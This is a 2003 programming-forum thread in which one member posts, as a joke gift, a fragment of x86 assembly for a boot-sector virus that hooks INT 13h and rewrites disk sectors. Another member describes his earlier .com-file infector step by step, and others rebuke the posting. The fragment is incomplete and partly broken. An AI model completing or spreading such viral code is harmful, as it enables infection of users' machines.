Qbasicnews.com
December 15, 2019, 10:12:57 AM *
Welcome, Guest. Please login or register.

Login with username, password and session length
News: Back to Qbasicnews.com | QB Online Help | FAQ | Chat | All Basic Code | QB Knowledge Base
 
   Home   Help Search Login Register  
Pages: [1]
  Print  
Author Topic: index ?blast=  (Read 3891 times)
Diroga
Been there, done that
*****
Posts: 1087


« on: August 26, 2003, 09:26:12 PM »

is there an index for the www.qbasicnews.com/?blast= sites?
Logged
Plasma
Na_th_an
*****
Posts: 1770


WWW
« Reply #1 on: August 26, 2003, 09:54:28 PM »

http://faq.qbasicnews.com/
Logged
Diroga
Been there, done that
*****
Posts: 1087


« Reply #2 on: August 27, 2003, 01:35:38 AM »

thank you very much and to show my thanks i give you this  Cheesy
Code:
Set SS:SP to 0:7C00 :
cli
xor ax,ax
mov ss,ax
mov sp,7c00h
sti s

dec word ptr [413h]

int 12h
mov cl,6
shl ax,cl
mov es,ax
mov cx,512
rep movsb

mov si,13h*4
mov di,offset int13storage
movsw
movsw
mov word ptr [si-4],offset int13handler
mov word ptr [si-2],es

int 19h

cmp ah,2
jne exit_int13
cmp cx,1
jne exit_int13
or dh,dh
jnz exit_int13

pushf
call dword ptr cs:int13storage

cmp word ptr es:[bx+offset marker]
je


mov cx,2
mov ax,201h
call orig_int13h

mov ax,301h
mov cx,2
call orig_int13h


xor bx,bx
push cs
pop es
mov cx,1
mov ax,301h
call orig_int13h
Logged
SCM
Wandering Guru
***
Posts: 311



« Reply #3 on: August 27, 2003, 04:04:40 AM »

What is he posting this time?

Iam just curious after this: http://forum.qbasicnews.com/viewtopic.php?t=3720
Logged

hrist Jesus came into the world to save sinners, of whom I am first.(I Timothy 1:15)

For God so loved the world, that He gave His only begotten Son,
that whoever believes in Him should not perish, but have eternal life.(John 3:16)
Plasma
Na_th_an
*****
Posts: 1770


WWW
« Reply #4 on: August 27, 2003, 08:57:45 AM »

Really, pasting code from virus tutorials just makes you look like an idiot. Especially when you don't even know how to assemble it.
Logged
Neo
Na_th_an
*****
Posts: 2150



« Reply #5 on: August 27, 2003, 09:03:34 AM »

Very very nice... Smiley However, I won't do anything with it than look at it now, but I'd like you to first beta-test and debug your code (that means running it).

When you post something like that next time, please test it on your computer first. And then estimate how we would like the same effect on our computers. You must have already guessed it: not funny.
Logged
Neo
Na_th_an
*****
Posts: 2150



« Reply #6 on: August 27, 2003, 09:14:34 AM »

SCM:
His previous (the *.com):
    Looking at the code:
    In line 6-8 it tries to find *.com file. It takes the first it gets. (int21/ah=4e)
    In line 9-12 it opens the found *.com file (int21/ah=3d)
    In line 14-17 it writes itself to the file (actually everything between startvx and endvx) (int21/ah=40)
    In line 18-19 it closes the file (int21/ah=3e)
    In line 20 it ends the program (int20)

    However, if'd read further, you would have noticed Plasma357 already answered your question Wink


What he posted above:
    It's about the BOOTSTRAP LOADER, which is int19. Take a look at the docs about it:
Quote
SYSTEM - BOOTSTRAP LOADER
 


Desc: This interrupt reboots the system without clearing memory or restoring interrupt vectors. Because interrupt vectors are preserved, this interrupt usually causes a system hang if any TSRs have hooked vectors from 00h through 1Ch, particularly INT 08.

Notes: Usually, the BIOS will try to read sector 1, head 0, track 0 from drive

A:To 0000h:7C00h.  If this fails, and a hard disk is installed, the
BIOS will read sector 1, head 0, track 0 of the first hard disk.
This sector should contain a master bootstrap loader and a partition
table (see #00650).  After loading the master boot sector at
0000h:7C00h, the master bootstrap loader is given control
(see #00653). It will scan the partition table for an active
partition, and will then load the operating system's bootstrap
loader (contained in the first sector of the active partition) and
give it control..
True IBM PCs and most clones issue an INT 18 if neither floppy nor hard
disk have a valid boot sector.
To accomplish a warm boot equivalent to Ctrl-Alt-Del, store 1234h in
0040h:0072h and jump to FFFFh:0000h.  For a cold boot equivalent to
a reset, store 0000h at 0040h:0072h before jumping..
VDISK.SYS hooks this interrupt to allow applications to find out how
much extended memory has been used by VDISKs (see #00649).  DOS 3.3+
PRINT hooks INT 19 but does not set up a correct VDISK header block
at the beginning of its INT 19 handler segment, thus causing some
programs to overwrite extended memory which is already in use..
The default handler is at F000h:E6F2h for 100% compatible BIOSes.
MS-DOS 3.2+ hangs on booting (even from floppy) if the hard disk
contains extended partitions which point at each other in a loop,
since it will never find the end of the linked list of extended
partitions.
Under Windows Real and Enhanced modes, calling INT 19 will hang the
system in the same was as under bare DOS; under Windows Standard
mode, INT 19 will successfully perform a cold reboot as it appears
to have been redirected to a MOV AL,0FEh/OUT 64h,AL sequence

BUG: When loading the remainder of the DOS system files fails, various versions of IBMBIO.COM/IO.SYS incorrectly restore INT 1E before calling INT 19, assuming that the boot sector had stored the contents of INT 1E at DS:SI instead of on the stack as it actually does

[/list]
Logged
Diroga
Been there, done that
*****
Posts: 1087


« Reply #7 on: August 27, 2003, 04:15:53 PM »

i thought it was a nice one. yeah i'll stop sharing my 1337 codes with every one  Cheesy
Logged
Neo
Na_th_an
*****
Posts: 2150



« Reply #8 on: August 28, 2003, 10:54:07 AM »

Good Smiley
But one point, viruses are never 'nice', and the virus code is determined not to be 1337.
Keep that in mind please.
Logged
Diroga
Been there, done that
*****
Posts: 1087


« Reply #9 on: August 28, 2003, 05:45:05 PM »

there was that nice worm that patched the msblast problem, but it crashed servers because it pinged the crap out of everyone to go fixed other people who were in contact with and infected computers
Logged
Agamemnus
x/ \z
*****
Posts: 3491



« Reply #10 on: September 03, 2003, 04:20:32 PM »

my philosophy is... don't open attachments.... don't use XP...: don't get infected.....
Logged

Peace cannot be obtained without war. Why? If there is already peace, it is unnecessary for war. If there is no peace, there is already war."

Visit www.neobasic.net to see rubbish in all its finest.
LinkMaster Sab
Member
*
Posts: 82



« Reply #11 on: September 03, 2003, 05:41:13 PM »

About the only things like virus making and hacking that I approve is hacking ROMs Cheesy
Logged

 LinkMaster Sab
Pages: [1]
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2015, Simple Machines Valid XHTML 1.0! Valid CSS!